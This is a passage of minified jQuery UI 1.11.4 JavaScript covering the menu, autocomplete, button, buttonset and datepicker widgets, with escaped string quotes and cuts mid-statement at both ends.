e.ui.keyCode.ESCAPE:this.collapse(t);break;default:a=!1,s=this.previousFilter||\"\",n=String.fromCharCode(t.keyCode),o=!1,clearTimeout(this.filterTimer),n===s?o=!0:n=s+n,i=this._filterMenuItems(n),i=o&&-1!==i.index(this.active.next())?this.active.nextAll(\".ui-menu-item\"):i,i.length||(n=String.fromCharCode(t.keyCode),i=this._filterMenuItems(n)),i.length?(this.focus(t,i),this.previousFilter=n,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}a&&t.preventDefault()},_activate:function(e){this.active.is(\".ui-state-disabled\")||(this.active.is(\"[aria-haspopup='true']\")?this.expand(e):this.select(e))},refresh:function(){var t,i,s=this,n=this.options.icons.submenu,o=this.element.find(this.options.menus);this.element.toggleClass(\"ui-menu-icons\",!!this.element.find(\".ui-icon\").length),o.filter(\":not(.ui-menu)\").addClass(\"ui-menu ui-widget ui-widget-content ui-front\").hide().attr({role:this.options.role,\"aria-hidden\":\"true\",\"aria-expanded\":\"false\"}).each(function(){var t=e(this),i=t.parent(),s=e(\"<span>\").addClass(\"ui-menu-icon ui-icon \"+n).data(\"ui-menu-submenu-carat\",!0);i.attr(\"aria-haspopup\",\"true\").prepend(s),t.attr(\"aria-labelledby\",i.attr(\"id\"))}),t=o.add(this.element),i=t.find(this.options.items),i.not(\".ui-menu-item\").each(function(){var t=e(this);s._isDivider(t)&&t.addClass(\"ui-widget-content ui-menu-divider\")}),i.not(\".ui-menu-item, .ui-menu-divider\").addClass(\"ui-menu-item\").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),i.filter(\".ui-state-disabled\").attr(\"aria-disabled\",\"true\"),this.active&&!e.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:\"menuitem\",listbox:\"option\"}[this.options.role]},_setOption:function(e,t){\"icons\"===e&&this.element.find(\".ui-menu-icon\").removeClass(this.options.icons.submenu).addClass(t.submenu),\"disabled\"===e&&this.element.toggleClass(\"ui-state-disabled\",!!t).attr(\"aria-disabled\",t),this._super(e,t)},focus:function(e,t){var i,s;this.blur(e,e&&\"focus\"===e.type),this._scrollIntoView(t),this.active=t.first(),s=this.active.addClass(\"ui-state-focus\").removeClass(\"ui-state-active\"),this.options.role&&this.element.attr(\"aria-activedescendant\",s.attr(\"id\")),this.active.parent().closest(\".ui-menu-item\").addClass(\"ui-state-active\"),e&&\"keydown\"===e.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),i=t.children(\".ui-menu\"),i.length&&e&&/^mouse/.test(e.type)&&this._startOpening(i),this.activeMenu=t.parent(),this._trigger(\"focus\",e,{item:t})},_scrollIntoView:function(t){var i,s,n,o,a,r;this._hasScroll()&&(i=parseFloat(e.css(this.activeMenu[0],\"borderTopWidth\"))||0,s=parseFloat(e.css(this.activeMenu[0],\"paddingTop\"))||0,n=t.offset().top-this.activeMenu.offset().top-i-s,o=this.activeMenu.scrollTop(),a=this.activeMenu.height(),r=t.outerHeight(),0>n?this.activeMenu.scrollTop(o+n):n+r>a&&this.activeMenu.scrollTop(o+n-a+r))},blur:function(e,t){t||clearTimeout(this.timer),this.active&&(this.active.removeClass(\"ui-state-focus\"),this.active=null,this._trigger(\"blur\",e,{item:this.active}))},_startOpening:function(e){clearTimeout(this.timer),\"true\"===e.attr(\"aria-hidden\")&&(this.timer=this._delay(function(){this._close(),this._open(e)},this.delay))},_open:function(t){var i=e.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(\".ui-menu\").not(t.parents(\".ui-menu\")).hide().attr(\"aria-hidden\",\"true\"),t.show().removeAttr(\"aria-hidden\").attr(\"aria-expanded\",\"true\").position(i)},collapseAll:function(t,i){clearTimeout(this.timer),this.timer=this._delay(function(){var s=i?this.element:e(t&&t.target).closest(this.element.find(\".ui-menu\"));s.length||(s=this.element),this._close(s),this.blur(t),this.activeMenu=s},this.delay)},_close:function(e){e||(e=this.active?this.active.parent():this.element),e.find(\".ui-menu\").hide().attr(\"aria-hidden\",\"true\").attr(\"aria-expanded\",\"false\").end().find(\".ui-state-active\").not(\".ui-state-focus\").removeClass(\"ui-state-active\")},_closeOnDocumentClick:function(t){return!e(t.target).closest(\".ui-menu\").length},_isDivider:function(e){return!/[^\\-\\u2014\\u2013\\s]/.test(e.text())},collapse:function(e){var t=this.active&&this.active.parent().closest(\".ui-menu-item\",this.element);t&&t.length&&(this._close(),this.focus(e,t))},expand:function(e){var t=this.active&&this.active.children(\".ui-menu \").find(this.options.items).first();t&&t.length&&(this._open(t.parent()),this._delay(function(){this.focus(e,t)}))},next:function(e){this._move(\"next\",\"first\",e)},previous:function(e){this._move(\"prev\",\"last\",e)},isFirstItem:function(){return this.active&&!this.active.prevAll(\".ui-menu-item\").length},isLastItem:function(){return this.active&&!this.active.nextAll(\".ui-menu-item\").length},_move:function(e,t,i){var s;this.active&&(s=\"first\"===e||\"last\"===e?this.active[\"first\"===e?\"prevAll\":\"nextAll\"](\".ui-menu-item\").eq(-1):this.active[e+\"All\"](\".ui-menu-item\").eq(0)),s&&s.length&&this.active||(s=this.activeMenu.find(this.options.items)[t]()),this.focus(i,s)},nextPage:function(t){var i,s,n;return this.active?(this.isLastItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.nextAll(\".ui-menu-item\").each(function(){return i=e(this),0>i.offset().top-s-n}),this.focus(t,i)):this.focus(t,this.activeMenu.find(this.options.items)[this.active?\"last\":\"first\"]())),void 0):(this.next(t),void 0)},previousPage:function(t){var i,s,n;return this.active?(this.isFirstItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.prevAll(\".ui-menu-item\").each(function(){return i=e(this),i.offset().top-s+n>0}),this.focus(t,i)):this.focus(t,this.activeMenu.find(this.options.items).first())),void 0):(this.next(t),void 0)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop(\"scrollHeight\")},select:function(t){this.active=this.active||e(t.target).closest(\".ui-menu-item\");var i={item:this.active};this.active.has(\".ui-menu\").length||this.collapseAll(t,!0),this._trigger(\"select\",t,i)},_filterMenuItems:function(t){var i=t.replace(/[\\-\\[\\]{}()*+?.,\\\\\\^$|#\\s]/g,\"\\\\$&\"),s=RegExp(\"^\"+i,\"i\");return this.activeMenu.find(this.options.items).filter(\".ui-menu-item\").filter(function(){return s.test(e.trim(e(this).text()))})}}),e.widget(\"ui.autocomplete\",{version:\"1.11.4\",defaultElement:\"<input>\",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:\"left top\",at:\"left bottom\",collision:\"none\"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,_create:function(){var t,i,s,n=this.element[0].nodeName.toLowerCase(),o=\"textarea\"===n,a=\"input\"===n;this.isMultiLine=o?!0:a?!1:this.element.prop(\"isContentEditable\"),this.valueMethod=this.element[o||a?\"val\":\"text\"],this.isNewMenu=!0,this.element.addClass(\"ui-autocomplete-input\").attr(\"autocomplete\",\"off\"),this._on(this.element,{keydown:function(n){if(this.element.prop(\"readOnly\"))return t=!0,s=!0,i=!0,void 0;t=!1,s=!1,i=!1;var o=e.ui.keyCode;switch(n.keyCode){case o.PAGE_UP:t=!0,this._move(\"previousPage\",n);break;case o.PAGE_DOWN:t=!0,this._move(\"nextPage\",n);break;case o.UP:t=!0,this._keyEvent(\"previous\",n);break;case o.DOWN:t=!0,this._keyEvent(\"next\",n);break;case o.ENTER:this.menu.active&&(t=!0,n.preventDefault(),this.menu.select(n));break;case o.TAB:this.menu.active&&this.menu.select(n);break;case o.ESCAPE:this.menu.element.is(\":visible\")&&(this.isMultiLine||this._value(this.term),this.close(n),n.preventDefault());break;default:i=!0,this._searchTimeout(n)}},keypress:function(s){if(t)return t=!1,(!this.isMultiLine||this.menu.element.is(\":visible\"))&&s.preventDefault(),void 0;if(!i){var n=e.ui.keyCode;switch(s.keyCode){case n.PAGE_UP:this._move(\"previousPage\",s);break;case n.PAGE_DOWN:this._move(\"nextPage\",s);break;case n.UP:this._keyEvent(\"previous\",s);break;case n.DOWN:this._keyEvent(\"next\",s)}}},input:function(e){return s?(s=!1,e.preventDefault(),void 0):(this._searchTimeout(e),void 0)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(e){return this.cancelBlur?(delete this.cancelBlur,void 0):(clearTimeout(this.searching),this.close(e),this._change(e),void 0)}}),this._initSource(),this.menu=e(\"<ul>\").addClass(\"ui-autocomplete ui-front\").appendTo(this._appendTo()).menu({role:null}).hide().menu(\"instance\"),this._on(this.menu.element,{mousedown:function(t){t.preventDefault(),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur});var i=this.menu.element[0];e(t.target).closest(\".ui-menu-item\").length||this._delay(function(){var t=this;this.document.one(\"mousedown\",function(s){s.target===t.element[0]||s.target===i||e.contains(i,s.target)||t.close()})})},menufocus:function(t,i){var s,n;return this.isNewMenu&&(this.isNewMenu=!1,t.originalEvent&&/^mouse/.test(t.originalEvent.type))?(this.menu.blur(),this.document.one(\"mousemove\",function(){e(t.target).trigger(t.originalEvent)}),void 0):(n=i.item.data(\"ui-autocomplete-item\"),!1!==this._trigger(\"focus\",t,{item:n})&&t.originalEvent&&/^key/.test(t.originalEvent.type)&&this._value(n.value),s=i.item.attr(\"aria-label\")||n.value,s&&e.trim(s).length&&(this.liveRegion.children().hide(),e(\"<div>\").text(s).appendTo(this.liveRegion)),void 0)},menuselect:function(e,t){var i=t.item.data(\"ui-autocomplete-item\"),s=this.previous;this.element[0]!==this.document[0].activeElement&&(this.element.focus(),this.previous=s,this._delay(function(){this.previous=s,this.selectedItem=i})),!1!==this._trigger(\"select\",e,{item:i})&&this._value(i.value),this.term=this._value(),this.close(e),this.selectedItem=i}}),this.liveRegion=e(\"<span>\",{role:\"status\",\"aria-live\":\"assertive\",\"aria-relevant\":\"additions\"}).addClass(\"ui-helper-hidden-accessible\").appendTo(this.document[0].body),this._on(this.window,{beforeunload:function(){this.element.removeAttr(\"autocomplete\")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeClass(\"ui-autocomplete-input\").removeAttr(\"autocomplete\"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(e,t){this._super(e,t),\"source\"===e&&this._initSource(),\"appendTo\"===e&&this.menu.element.appendTo(this._appendTo()),\"disabled\"===e&&t&&this.xhr&&this.xhr.abort()},_appendTo:function(){var t=this.options.appendTo;return t&&(t=t.jquery||t.nodeType?e(t):this.document.find(t).eq(0)),t&&t[0]||(t=this.element.closest(\".ui-front\")),t.length||(t=this.document[0].body),t},_initSource:function(){var t,i,s=this;e.isArray(this.options.source)?(t=this.options.source,this.source=function(i,s){s(e.ui.autocomplete.filter(t,i.term))}):\"string\"==typeof this.options.source?(i=this.options.source,this.source=function(t,n){s.xhr&&s.xhr.abort(),s.xhr=e.ajax({url:i,data:t,dataType:\"json\",success:function(e){n(e)},error:function(){n([])}})}):this.source=this.options.source},_searchTimeout:function(e){clearTimeout(this.searching),this.searching=this._delay(function(){var t=this.term===this._value(),i=this.menu.element.is(\":visible\"),s=e.altKey||e.ctrlKey||e.metaKey||e.shiftKey;(!t||t&&!i&&!s)&&(this.selectedItem=null,this.search(null,e))},this.options.delay)},search:function(e,t){return e=null!=e?e:this._value(),this.term=this._value(),e.length<this.options.minLength?this.close(t):this._trigger(\"search\",t)!==!1?this._search(e):void 0},_search:function(e){this.pending++,this.element.addClass(\"ui-autocomplete-loading\"),this.cancelSearch=!1,this.source({term:e},this._response())},_response:function(){var t=++this.requestIndex;return e.proxy(function(e){t===this.requestIndex&&this.__response(e),this.pending--,this.pending||this.element.removeClass(\"ui-autocomplete-loading\")},this)},__response:function(e){e&&(e=this._normalize(e)),this._trigger(\"response\",null,{content:e}),!this.options.disabled&&e&&e.length&&!this.cancelSearch?(this._suggest(e),this._trigger(\"open\")):this._close()},close:function(e){this.cancelSearch=!0,this._close(e)},_close:function(e){this.menu.element.is(\":visible\")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger(\"close\",e))},_change:function(e){this.previous!==this._value()&&this._trigger(\"change\",e,{item:this.selectedItem})},_normalize:function(t){return t.length&&t[0].label&&t[0].value?t:e.map(t,function(t){return\"string\"==typeof t?{label:t,value:t}:e.extend({},t,{label:t.label||t.value,value:t.value||t.label})})},_suggest:function(t){var i=this.menu.element.empty();this._renderMenu(i,t),this.isNewMenu=!0,this.menu.refresh(),i.show(),this._resizeMenu(),i.position(e.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next()},_resizeMenu:function(){var e=this.menu.element;e.outerWidth(Math.max(e.width(\"\").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(t,i){var s=this;e.each(i,function(e,i){s._renderItemData(t,i)})},_renderItemData:function(e,t){return this._renderItem(e,t).data(\"ui-autocomplete-item\",t)},_renderItem:function(t,i){return e(\"<li>\").text(i.label).appendTo(t)},_move:function(e,t){return this.menu.element.is(\":visible\")?this.menu.isFirstItem()&&/^previous/.test(e)||this.menu.isLastItem()&&/^next/.test(e)?(this.isMultiLine||this._value(this.term),this.menu.blur(),void 0):(this.menu[e](t),void 0):(this.search(null,t),void 0)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(e,t){(!this.isMultiLine||this.menu.element.is(\":visible\"))&&(this._move(e,t),t.preventDefault())}}),e.extend(e.ui.autocomplete,{escapeRegex:function(e){return e.replace(/[\\-\\[\\]{}()*+?.,\\\\\\^$|#\\s]/g,\"\\\\$&\")},filter:function(t,i){var s=RegExp(e.ui.autocomplete.escapeRegex(i),\"i\");return e.grep(t,function(e){return s.test(e.label||e.value||e)})}}),e.widget(\"ui.autocomplete\",e.ui.autocomplete,{options:{messages:{noResults:\"No search results.\",results:function(e){return e+(e>1?\" results are\":\" result is\")+\" available, use up and down arrow keys to navigate.\"}}},__response:function(t){var i;this._superApply(arguments),this.options.disabled||this.cancelSearch||(i=t&&t.length?this.options.messages.results(t.length):this.options.messages.noResults,this.liveRegion.children().hide(),e(\"<div>\").text(i).appendTo(this.liveRegion))}}),e.ui.autocomplete;var d,p=\"ui-button ui-widget ui-state-default ui-corner-all\",f=\"ui-button-icons-only ui-button-icon-only ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary ui-button-text-only\",m=function(){var t=e(this);setTimeout(function(){t.find(\":ui-button\").button(\"refresh\")},1)},g=function(t){var i=t.name,s=t.form,n=e([]);return i&&(i=i.replace(/'/g,\"\\\\'\"),n=s?e(s).find(\"[name='\"+i+\"'][type=radio]\"):e(\"[name='\"+i+\"'][type=radio]\",t.ownerDocument).filter(function(){return!this.form})),n};e.widget(\"ui.button\",{version:\"1.11.4\",defaultElement:\"<button>\",options:{disabled:null,text:!0,label:null,icons:{primary:null,secondary:null}},_create:function(){this.element.closest(\"form\").unbind(\"reset\"+this.eventNamespace).bind(\"reset\"+this.eventNamespace,m),\"boolean\"!=typeof this.options.disabled?this.options.disabled=!!this.element.prop(\"disabled\"):this.element.prop(\"disabled\",this.options.disabled),this._determineButtonType(),this.hasTitle=!!this.buttonElement.attr(\"title\");var t=this,i=this.options,s=\"checkbox\"===this.type||\"radio\"===this.type,n=s?\"\":\"ui-state-active\";null===i.label&&(i.label=\"input\"===this.type?this.buttonElement.val():this.buttonElement.html()),this._hoverable(this.buttonElement),this.buttonElement.addClass(p).attr(\"role\",\"button\").bind(\"mouseenter\"+this.eventNamespace,function(){i.disabled||this===d&&e(this).addClass(\"ui-state-active\")}).bind(\"mouseleave\"+this.eventNamespace,function(){i.disabled||e(this).removeClass(n)}).bind(\"click\"+this.eventNamespace,function(e){i.disabled&&(e.preventDefault(),e.stopImmediatePropagation())}),this._on({focus:function(){this.buttonElement.addClass(\"ui-state-focus\")},blur:function(){this.buttonElement.removeClass(\"ui-state-focus\")}}),s&&this.element.bind(\"change\"+this.eventNamespace,function(){t.refresh()}),\"checkbox\"===this.type?this.buttonElement.bind(\"click\"+this.eventNamespace,function(){return i.disabled?!1:void 0}):\"radio\"===this.type?this.buttonElement.bind(\"click\"+this.eventNamespace,function(){if(i.disabled)return!1;e(this).addClass(\"ui-state-active\"),t.buttonElement.attr(\"aria-pressed\",\"true\");var s=t.element[0];g(s).not(s).map(function(){return e(this).button(\"widget\")[0]}).removeClass(\"ui-state-active\").attr(\"aria-pressed\",\"false\")}):(this.buttonElement.bind(\"mousedown\"+this.eventNamespace,function(){return i.disabled?!1:(e(this).addClass(\"ui-state-active\"),d=this,t.document.one(\"mouseup\",function(){d=null}),void 0)}).bind(\"mouseup\"+this.eventNamespace,function(){return i.disabled?!1:(e(this).removeClass(\"ui-state-active\"),void 0)}).bind(\"keydown\"+this.eventNamespace,function(t){return i.disabled?!1:((t.keyCode===e.ui.keyCode.SPACE||t.keyCode===e.ui.keyCode.ENTER)&&e(this).addClass(\"ui-state-active\"),void 0)}).bind(\"keyup\"+this.eventNamespace+\" blur\"+this.eventNamespace,function(){e(this).removeClass(\"ui-state-active\")}),this.buttonElement.is(\"a\")&&this.buttonElement.keyup(function(t){t.keyCode===e.ui.keyCode.SPACE&&e(this).click()})),this._setOption(\"disabled\",i.disabled),this._resetButton()},_determineButtonType:function(){var e,t,i;this.type=this.element.is(\"[type=checkbox]\")?\"checkbox\":this.element.is(\"[type=radio]\")?\"radio\":this.element.is(\"input\")?\"input\":\"button\",\"checkbox\"===this.type||\"radio\"===this.type?(e=this.element.parents().last(),t=\"label[for='\"+this.element.attr(\"id\")+\"']\",this.buttonElement=e.find(t),this.buttonElement.length||(e=e.length?e.siblings():this.element.siblings(),this.buttonElement=e.filter(t),this.buttonElement.length||(this.buttonElement=e.find(t))),this.element.addClass(\"ui-helper-hidden-accessible\"),i=this.element.is(\":checked\"),i&&this.buttonElement.addClass(\"ui-state-active\"),this.buttonElement.prop(\"aria-pressed\",i)):this.buttonElement=this.element},widget:function(){return this.buttonElement},_destroy:function(){this.element.removeClass(\"ui-helper-hidden-accessible\"),this.buttonElement.removeClass(p+\" ui-state-active \"+f).removeAttr(\"role\").removeAttr(\"aria-pressed\").html(this.buttonElement.find(\".ui-button-text\").html()),this.hasTitle||this.buttonElement.removeAttr(\"title\")},_setOption:function(e,t){return this._super(e,t),\"disabled\"===e?(this.widget().toggleClass(\"ui-state-disabled\",!!t),this.element.prop(\"disabled\",!!t),t&&(\"checkbox\"===this.type||\"radio\"===this.type?this.buttonElement.removeClass(\"ui-state-focus\"):this.buttonElement.removeClass(\"ui-state-focus ui-state-active\")),void 0):(this._resetButton(),void 0)},refresh:function(){var t=this.element.is(\"input, button\")?this.element.is(\":disabled\"):this.element.hasClass(\"ui-button-disabled\");t!==this.options.disabled&&this._setOption(\"disabled\",t),\"radio\"===this.type?g(this.element[0]).each(function(){e(this).is(\":checked\")?e(this).button(\"widget\").addClass(\"ui-state-active\").attr(\"aria-pressed\",\"true\"):e(this).button(\"widget\").removeClass(\"ui-state-active\").attr(\"aria-pressed\",\"false\")}):\"checkbox\"===this.type&&(this.element.is(\":checked\")?this.buttonElement.addClass(\"ui-state-active\").attr(\"aria-pressed\",\"true\"):this.buttonElement.removeClass(\"ui-state-active\").attr(\"aria-pressed\",\"false\"))},_resetButton:function(){if(\"input\"===this.type)return this.options.label&&this.element.val(this.options.label),void 0;var t=this.buttonElement.removeClass(f),i=e(\"<span></span>\",this.document[0]).addClass(\"ui-button-text\").html(this.options.label).appendTo(t.empty()).text(),s=this.options.icons,n=s.primary&&s.secondary,o=[];s.primary||s.secondary?(this.options.text&&o.push(\"ui-button-text-icon\"+(n?\"s\":s.primary?\"-primary\":\"-secondary\")),s.primary&&t.prepend(\"<span class='ui-button-icon-primary ui-icon \"+s.primary+\"'></span>\"),s.secondary&&t.append(\"<span class='ui-button-icon-secondary ui-icon \"+s.secondary+\"'></span>\"),this.options.text||(o.push(n?\"ui-button-icons-only\":\"ui-button-icon-only\"),this.hasTitle||t.attr(\"title\",e.trim(i)))):o.push(\"ui-button-text-only\"),t.addClass(o.join(\" \"))}}),e.widget(\"ui.buttonset\",{version:\"1.11.4\",options:{items:\"button, input[type=button], input[type=submit], input[type=reset], input[type=checkbox], input[type=radio], a, :data(ui-button)\"},_create:function(){this.element.addClass(\"ui-buttonset\")},_init:function(){this.refresh()},_setOption:function(e,t){\"disabled\"===e&&this.buttons.button(\"option\",e,t),this._super(e,t)},refresh:function(){var t=\"rtl\"===this.element.css(\"direction\"),i=this.element.find(this.options.items),s=i.filter(\":ui-button\");i.not(\":ui-button\").button(),s.button(\"refresh\"),this.buttons=i.map(function(){return e(this).button(\"widget\")[0]}).removeClass(\"ui-corner-all ui-corner-left ui-corner-right\").filter(\":first\").addClass(t?\"ui-corner-right\":\"ui-corner-left\").end().filter(\":last\").addClass(t?\"ui-corner-left\":\"ui-corner-right\").end().end()},_destroy:function(){this.element.removeClass(\"ui-buttonset\"),this.buttons.map(function(){return e(this).button(\"widget\")[0]}).removeClass(\"ui-corner-left ui-corner-right\").end().button(\"destroy\")}}),e.ui.button,e.extend(e.ui,{datepicker:{version:\"1.11.4\"}});var v;e.extend(n.prototype,{markerClassName:\"hasDatepicker\",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(e){return r(this._defaults,e||{}),this},_attachDatepicker:function(t,i){var s,n,o;s=t.nodeName.toLowerCase(),n=\"div\"===s||\"span\"===s,t.id||(this.uuid+=1,t.id=\"dp\"+this.uuid),o=this._newInst(e(t),n),o.settings=e.extend({},i||{}),\"input\"===s?this._connectDatepicker(t,o):n&&this._inlineDatepicker(t,o)},_newInst:function(t,i){var s=t[0].id.replace(/([^A-Za-z0-9_\\-])/g,\"\\\\\\\\$1\");return{id:s,input:t,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:i,dpDiv:i?o(e(\"<div class='\"+this._inlineClass+\" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>\")):this.dpDiv}},_connectDatepicker:function(t,i){var s=e(t);i.append=e([]),i.trigger=e([]),s.hasClass(this.markerClassName)||(this._attachments(s,i),s.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp),this._autoSize(i),e.data(t,\"datepicker\",i),i.settings.disabled&&this._disableDatepicker(t))},_attachments:function(t,i){var s,n,o,a=this._get(i,\"appendText\"),r=this._get(i,\"isRTL\");i.append&&i.append.remove(),a&&(i.append=e(\"<span class='\"+this._appendClass+\"'>\"+a+\"</span>\"),t[r?\"before\":\"after\"](i.append)),t.unbind(\"focus\",this._showDatepicker),i.trigger&&i.trigger.remove(),s=this._get(i,\"showOn\"),(\"focus\"===s||\"both\"===s)&&t.focus(this._showDatepicker),(\"button\"===s||\"both\"===s)&&(n=this._get(i,\"buttonText\"),o=this._get(i,\"buttonImage\"),i.trigger=e(this._get(i,\"buttonImageOnly\")?e(\"<img/>\").addClass(this._triggerClass).attr({src:o,alt:n,title:n}):e(\"<button type='button'></button>\").addClass(this._triggerClass).html(o?e(\"<img/>\").attr({src:o,alt:n,title:n}):n)),t[r?\"before\":\"after\"](i.trigger),i.trigger.click(function(){return e.datepicker._datepickerShowing&&e.datepicker._lastInput===t[0]?e.datepicker._hideDatepicker():e.datepicker._datepickerShowing&&e.datepicker._lastInput!==t[0]?(e.datepicker._hideDatepicker(),e.datepicker._showDatepicker(t[0])):e.datepicker._showDatepicker(t[0]),!1}))},_autoSize:function(e){if(this._get(e,\"autoSize\")&&!e.inline){var t,i,s,n,o=new Date(2009,11,20),a=this._get(e,\"dateFormat\");a.match(/[DM]/)&&(t=function(e){for(i=0,s=0,n=0;e.length>n;n++)e[n].length>i&&(i=e[n].length,s=n);return s},o.setMonth(t(this._get(e,a.match(/MM/)?\"monthNames\":\"monthNamesShort\"))),o.setDate(t(this._get(e,a.match(/DD/)?\"dayNames\":\"dayNamesShort\"))+20-o.getDay())),e.input.attr(\"size\",this._formatDate(e,o).length)}},_inlineDatepicker:function(t,i){var s=e(t);s.hasClass(this.markerClassName)||(s.addClass(this.markerClassName).append(i.dpDiv),e.data(t,\"datepicker\",i),this._setDate(i,this._getDefaultDate(i),!0),this._updateDatepicker(i),this._updateAlternate(i),i.settings.disabled&&this._disableDatepicker(t),i.dpDiv.css(\"display\",\"block\"))},_dialogDatepicker:function(t,i,s,n,o){var a,h,l,u,c,d=this._dialogInst;return d||(this.uuid+=1,a=\"dp\"+this.uuid,this._dialogInput=e(\"<input type='text' id='\"+a+\"' style='position: absolute; top: -100px; width: 0px;'/>\"),this._dialogInput.keydown(this._doKeyDown),e(\"body\").append(this._dialogInput),d=this._dialogInst=this._newInst(this._dialogInput,!1),d.settings={},e.data(this._dialogInput[0],\"datepicker\",d)),r(d.settings,n||{}),i=i&&i.constructor===Date?this._formatDate(d,i):i,this._dialogInput.val(i),this._pos=o?o.length?o:[o.pageX,o.pageY]:null,this._pos||(h=document.documentElement.clientWidth,l=document.documentElement.clientHeight,u=document.documentElement.scrollLeft||document.body.scrollLeft,c=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[h/2-100+u,l/2-150+c]),this._dialogInput.css(\"left\",this._pos[0]+20+\"px\").css(\"top\",this._pos[1]+\"px\"),d.settings.onSelect=s,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),e.blockUI&&e.blockUI(this.dpDiv),e.data(this._dialogInput[0],\"datepicker\",d),this\r\n},_destroyDatepicker:function(t){var i,s=e(t),n=e.data(t,\"datepicker\");s.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),e.removeData(t,\"datepicker\"),\"input\"===i?(n.append.remove(),n.trigger.remove(),s.removeClass(this.markerClassName).unbind(\"focus\",this._showDatepicker).unbind(\"keydown\",this._doKeyDown).unbind(\"keypress\",this._doKeyPress).unbind(\"keyup\",this._doKeyUp)):(\"div\"===i||\"span\"===i)&&s.removeClass(this.markerClassName).empty(),v===n&&(v=null))},_enableDatepicker:function(t){var i,s,n=e(t),o=e.data(t,\"datepicker\");n.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),\"input\"===i?(t.disabled=!1,o.trigger.filter(\"button\").each(function(){this.disabled=!1}).end().filter(\"img\").css({opacity:\"1.0\",cursor:\"\"})):(\"div\"===i||\"span\"===i)&&(s=n.children(\".\"+this._inlineClass),s.children().removeClass(\"ui-state-disabled\"),s.find(\"select.ui-datepicker-month, select.ui-datepicker-year\").prop(\"disabled\",!1)),this._disabledInputs=e.map(this._disabledInputs,function(e){return e===t?null:e}))},_disableDatepicker:function(t){var i,s,n=e(t),o=e.data(t,\"datepicker\");n.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),\"input\"===i?(t.disabled=!0,o.trigger.filter(\"button\").each(function(){this.disabled=!0}).end().filter(\"img\").css({opacity:\"0.5\",cursor:\"default\"})):(\"div\"===i||\"span\"===i)&&(s=n.children(\".\"+this._inlineClass),s.children().addClass(\"ui-state-disabled\"),s.find(\"select.ui-datepicker-month, select.ui-datepicker-year\").prop(\"disabled\",!0)),this._disabledInputs=e.map(this._disabledInputs,function(e){return e===t?null:e}),this._disabledInputs[this._disabledInputs.length]=t)},_isDisabledDatepicker:function(e){if(!e)return!1;for(var t=0;this._disabledInputs.length>t;t++)if(this._disabledInputs[t]===e)return!0;return!1},_getInst:function(t){try{return e.data(t,\"datepicker\")}catch(i){throw\"Missing instance data for this datepicker\"}},_optionDatepicker:function(t,i,s){var n,o,a,h,l=this._getInst(t);return 2===arguments.length&&\"string\"==typeof i?\"defaults\"===i?e.extend({},e.datepicker._defaults):l?\"all\"===i?e.extend({},l.settings):this._get(l,i):null:(n=i||{},\"string\"==typeof i&&(n={},n[i]=s),l&&(this._curInst===l&&this._hideDatepicker(),o=this._getDateDatepicker(t,!0),a=this._getMinMaxDate(l,\"min\"),h=this._getMinMaxDate(l,\"max\"),r(l.settings,n),null!==a&&void 0!==n.dateFormat&&void 0===n.minDate&&(l.settings.minDate=this._formatDate(l,a)),null!==h&&void 0!==n.dateFormat&&void 0===n.maxDate&&(l.settings.maxDate=this._formatDate(l,h)),\"disabled\"in n&&(n.disabled?this._disableDatepicker(t):this._enableDatepicker(t)),this._attachments(e(t),l),this._autoSize(l),this._setDate(l,o),this._updateAlternate(l),this._updateDatepicker(l)),void 0)},_changeDatepicker:function(e,t,i){this._optionDatepicker(e,t,i)},_refreshDatepicker:function(e){var t=this._getInst(e);t&&this._updateDatepicker(t)},_setDateDatepicker:function(e,t){var i=this._getInst(e);i&&(this._setDate(i,t),this._updateDatepicker(i),this._updateAlternate(i))},_getDateDatepicker:function(e,t){var i=this._getInst(e);return i&&!i.inline&&this._setDateFromField(i,t),i?this._getDate(i):null},_doKeyDown:function(t){var i,s,n,o=e.datepicker._getInst(t.target),a=!0,r=o.dpDiv.is(\".ui-datepicker-rtl\");if(o._keyEvent=!0,e.datepicker._datepickerShowing)switch(t.keyCode){case 9:e.datepicker._hideDatepicker(),a=!1;break;case 13:return n=e(\"td.\"+e.datepicker._dayOverClass+\":not(.\"+e.datepicker._currentClass+\")\",o.dpDiv),n[0]&&e.datepicker._selectDay(t.target,o.selectedMonth,o.selectedYear,n[0]),i=e.datepicker._get(o,\"onSelect\"),i?(s=e.datepicker._formatDate(o),i.apply(o.input?o.input[0]:null,[s,o])):e.datepicker._hideDatepicker(),!1;case 27:e.datepicker._hideDatepicker();break;case 33:e.datepicker._adjustDate(t.target,t.ctrlKey?-e.datepicker._get(o,\"stepBigMonths\"):-e.datepicker._get(o,\"stepMonths\"),\"M\");break;case 34:e.datepicker._adjustDate(t.target,t.ctrlKey?+e.datepicker._get(o,\"stepBigMonths\"):+e.datepicker._get(o,\"stepMonths\"),\"M\");break;case 